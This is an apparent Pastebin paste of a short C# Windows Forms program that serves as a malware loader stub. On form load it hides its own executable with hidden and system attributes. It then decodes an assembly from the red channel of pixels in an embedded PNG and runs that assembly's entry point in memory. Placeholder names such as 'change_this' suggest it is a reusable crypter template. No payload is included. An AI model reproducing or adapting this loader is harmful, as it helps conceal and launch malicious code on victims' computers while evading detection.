Advertisement
Guest User

Untitled

a guest
Feb 26th, 2020
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Drawing;
  4. using System.Windows.Forms;
  5. using System.IO;
  6.  
  7. namespace Sanuksanan
  8. {
  9. public partial class Form1 : Form
  10. {
  11. public Form1()
  12. {
  13. InitializeComponent();
  14. }
  15.  
  16. private void Form1_Load(object sender, EventArgs e)
  17. {
  18. File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden | FileAttributes.System);
  19. List<byte> change_this = new List<byte>();
  20. Bitmap change_this2 = Properties.Resources.png;
  21. int red;
  22.  
  23. for (red = 0; red <= change_this2.Width - 1; red++)
  24. change_this.Add(change_this2.GetPixel(red, 0).R);
  25. AppDomain.CurrentDomain.Load(change_this.ToArray()).EntryPoint.Invoke(null, null);
  26. }
  27. }
  28. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement